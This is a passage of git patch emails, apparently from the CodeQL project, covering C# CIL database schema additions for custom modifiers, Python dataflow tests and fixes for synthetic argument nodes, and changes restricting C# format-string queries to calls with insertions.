96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/upgrade.properties b/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/upgrade.properties new file mode 100644 index 00000000000..15e0fbf4c00 --- /dev/null +++ b/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/upgrade.properties @@ -0,0 +1,2 @@ +description: Added 'cil_custom_modifiers' to store custom modifiers ('modreq', 'modopt'). +compatibility: backwards From 8e8c3a9ded140a9defc5543e63e0607229f6af0d Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 18 Dec 2020 09:15:33 +0100 Subject: [PATCH 0308/1241] Add change note --- csharp/change-notes/2020-12-18-extract-custom-modifiers.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/change-notes/2020-12-18-extract-custom-modifiers.md diff --git a/csharp/change-notes/2020-12-18-extract-custom-modifiers.md b/csharp/change-notes/2020-12-18-extract-custom-modifiers.md new file mode 100644 index 00000000000..5ae4dd2f829 --- /dev/null +++ b/csharp/change-notes/2020-12-18-extract-custom-modifiers.md @@ -0,0 +1,4 @@ +lgtm,codescanning +* CIL extraction has been improved to store `modreq` and `modopt` custom modifiers. +The extracted information is surfaced through the `CustomModifierReceiver` class. Additionally, +the information is also used to evaluate the new `Setter.isInitOnly` predicate. \ No newline at end of file From a16d58dfc01002bcc5133d01e7884d661723ca77 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Fri, 18 Dec 2020 10:36:55 +0100 Subject: [PATCH 0309/1241] Python: Add tests cases with synthetic arguments --- .../consistency/dataflow-consistency.expected | 4 ++++ .../test/experimental/dataflow/consistency/test.py | 14 ++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected index 6f03f2f621e..28e1b2f3ba3 100644 --- a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected +++ b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected @@ -1,4 +1,8 @@ uniqueEnclosingCallable +| test.py:239:27:239:27 | ControlFlowNode for p | Node should have one enclosing callable but has 0. | +| test.py:245:5:245:22 | PosOverflowNode for overflowCallee() | Node should have one enclosing callable but has 0. | +| test.py:248:5:248:26 | KwOverflowNode for overflowCallee() | Node should have one enclosing callable but has 0. | +| test.py:251:5:251:33 | KwOverflowNode for overflowCallee() | Node should have one enclosing callable but has 0. | uniqueType uniqueNodeLocation missingLocation diff --git a/python/ql/test/experimental/dataflow/consistency/test.py b/python/ql/test/experimental/dataflow/consistency/test.py index 447af8483f7..e22ef663b6f 100644 --- a/python/ql/test/experimental/dataflow/consistency/test.py +++ b/python/ql/test/experimental/dataflow/consistency/test.py @@ -235,3 +235,17 @@ def non_const_eq_preserves_taint(x): SINK(tainted) # unsafe if tainted == x: SINK(tainted) # unsafe + +def overflowCallee(*args, p="", **kwargs): + print("args", args) + print("p", p) + print("kwargs", kwargs) + +def synth_arg_posOverflow(): + overflowCallee(42) + +def synth_arg_kwOverflow(): + overflowCallee(foo=42) + +def synth_arg_kwUnpacked(): + overflowCallee(**{"p": "42"}) From 0629d3e6e7f443c4b95b3646f98f16408fa745a6 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 1 Dec 2020 12:11:14 +0100 Subject: [PATCH 0310/1241] Python: Enclosing callable for synthetic arguments --- .../dataflow/new/internal/DataFlowPublic.qll | 21 +++++++++++++++++++ .../consistency/dataflow-consistency.expected | 3 --- 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index c104a8bb8e7..c606e475c9e 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -287,6 +287,13 @@ class PosOverflowNode extends Node, TPosOverflowNode { override string toString() { result = "PosOverflowNode for " + call.getNode().toString() } + override DataFlowCallable getEnclosingCallable() { + exists(Node node | + node = TCfgNode(call) and + result = node.getEnclosingCallable() + ) + } + override Location getLocation() { result = call.getLocation() } } @@ -301,6 +308,13 @@ class KwOverflowNode extends Node, TKwOverflowNode { override string toString() { result = "KwOverflowNode for " + call.getNode().toString() } + override DataFlowCallable getEnclosingCallable() { + exists(Node node | + node = TCfgNode(call) and + result = node.getEnclosingCallable() + ) + } + override Location getLocation() { result = call.getLocation() } } @@ -316,6 +330,13 @@ class KwUnpacked extends Node, TKwUnpacked { override string toString() { result = "KwUnpacked " + name } + override DataFlowCallable getEnclosingCallable() { + exists(Node node | + node = TCfgNode(call) and + result = node.getEnclosingCallable() + ) + } + override Location getLocation() { result = call.getLocation() } } diff --git a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected index 28e1b2f3ba3..8cfcd63dda6 100644 --- a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected +++ b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected @@ -1,8 +1,5 @@ uniqueEnclosingCallable | test.py:239:27:239:27 | ControlFlowNode for p | Node should have one enclosing callable but has 0. | -| test.py:245:5:245:22 | PosOverflowNode for overflowCallee() | Node should have one enclosing callable but has 0. | -| test.py:248:5:248:26 | KwOverflowNode for overflowCallee() | Node should have one enclosing callable but has 0. | -| test.py:251:5:251:33 | KwOverflowNode for overflowCallee() | Node should have one enclosing callable but has 0. | uniqueType uniqueNodeLocation missingLocation From d53faa86dcc005e88f8348d6e54b33c38853b69f Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 18 Dec 2020 10:53:11 +0100 Subject: [PATCH 0311/1241] C#: Restrict `FormatInvalid.ql` and `UncontrolledFormatString.ql` to calls with insertions --- csharp/ql/src/API Abuse/FormatInvalid.ql | 4 +++- csharp/ql/src/API Abuse/FormatInvalidBad.cs | 2 +- .../src/Security Features/CWE-134/UncontrolledFormatString.ql | 2 +- csharp/ql/src/semmle/code/csharp/frameworks/Format.qll | 3 +++ .../test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs | 2 ++ .../API Abuse/FormatInvalid/FormatInvalid.expected | 3 ++- .../query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs | 2 +- .../Security Features/CWE-134/UncontrolledFormatString.cs | 3 +++ .../CWE-134/UncontrolledFormatString.expected | 4 ++-- 9 files changed, 18 insertions(+), 7 deletions(-) diff --git a/csharp/ql/src/API Abuse/FormatInvalid.ql b/csharp/ql/src/API Abuse/FormatInvalid.ql index 979af415936..6a253c610f1 100644 --- a/csharp/ql/src/API Abuse/FormatInvalid.ql +++ b/csharp/ql/src/API Abuse/FormatInvalid.ql @@ -14,5 +14,7 @@ import semmle.code.csharp.frameworks.Format import FormatFlow from FormatCall s, InvalidFormatString src, PathNode source, PathNode sink -where hasFlowPath(src, source, s, sink) +where + hasFlowPath(src, source, s, sink) and + s.hasInsertions() select src, source, sink, "Invalid format string used in $@ formatting call.", s, "this" diff --git a/csharp/ql/src/API Abuse/FormatInvalidBad.cs b/csharp/ql/src/API Abuse/FormatInvalidBad.cs index 7f7faad5bdc..e89734ab19c 100644 --- a/csharp/ql/src/API Abuse/FormatInvalidBad.cs +++ b/csharp/ql/src/API Abuse/FormatInvalidBad.cs @@ -4,6 +4,6 @@ class Bad { string GenerateEmptyClass(string c) { - return string.Format("class {0} { }"); + return string.Format("class {0} { }", "C"); } } diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql index 3b9d6af7d14..a22c13bbb97 100644 --- a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql @@ -27,7 +27,7 @@ class FormatStringConfiguration extends TaintTracking::Configuration { } override predicate isSink(DataFlow::Node sink) { - sink.asExpr() = any(FormatCall call).getFormatExpr() + sink.asExpr() = any(FormatCall call | call.hasInsertions()).getFormatExpr() } } diff --git a/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll b/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll index 08e08dcf9af..4980726dd0c 100644 --- a/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll +++ b/csharp/ql/src/semmle/code/csharp/frameworks/Format.qll @@ -218,6 +218,9 @@ class FormatCall extends MethodCall { /** Gets the argument number of the first supplied insert. */ int getFirstArgument() { result = this.getFormatArgument() + 1 } + /** Holds if this call has one or more insertions. */ + predicate hasInsertions() { exists(this.getArgument(this.getFirstArgument())) } + /** Holds if the arguments are supplied in an array, not individually. */ predicate hasArrayExpr() { this.getNumberOfArguments() = this.getFirstArgument() + 1 and diff --git a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs index 6dd9cc6f384..3f5cd8be681 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.cs @@ -115,6 +115,8 @@ class Class1 System.Diagnostics.Debug.Assert(true, "Error", "}", ps); sw.Write("}", 0); System.Diagnostics.Debug.Print("}", ps); + + Console.WriteLine("}"); // GOOD } System.IO.StringWriter sw; diff --git a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected index 18340a5d5c8..3d765fac975 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalid.expected @@ -51,6 +51,7 @@ nodes | FormatInvalid.cs:115:56:115:58 | [assertion success] "}" | semmle.label | [assertion success] "}" | | FormatInvalid.cs:116:18:116:20 | "}" | semmle.label | "}" | | FormatInvalid.cs:117:40:117:42 | "}" | semmle.label | "}" | +| FormatInvalid.cs:119:27:119:29 | "}" | semmle.label | "}" | | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | semmle.label | "class {0} { }" | | FormatInvalidGood.cs:7:30:7:46 | "class {0} {{ }}" | semmle.label | "class {0} {{ }}" | edges @@ -96,4 +97,4 @@ edges | FormatInvalid.cs:115:57:115:58 | "}" | FormatInvalid.cs:115:56:115:58 | [assertion success] "}" | FormatInvalid.cs:115:56:115:58 | [assertion success] "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:115:9:115:63 | call to method Assert | this | | FormatInvalid.cs:116:19:116:20 | "}" | FormatInvalid.cs:116:18:116:20 | "}" | FormatInvalid.cs:116:18:116:20 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:116:9:116:24 | call to method Write | this | | FormatInvalid.cs:117:41:117:42 | "}" | FormatInvalid.cs:117:40:117:42 | "}" | FormatInvalid.cs:117:40:117:42 | "}" | Invalid format string used in $@ formatting call. | FormatInvalid.cs:117:9:117:47 | call to method Print | this | -| FormatInvalidBad.cs:7:41:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | Invalid format string used in $@ formatting call. | FormatInvalidBad.cs:7:16:7:45 | call to method Format | this | +| FormatInvalidBad.cs:7:41:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | FormatInvalidBad.cs:7:30:7:44 | "class {0} { }" | Invalid format string used in $@ formatting call. | FormatInvalidBad.cs:7:16:7:50 | call to method Format | this | diff --git a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs b/csharp/ql/test/query-tests/API 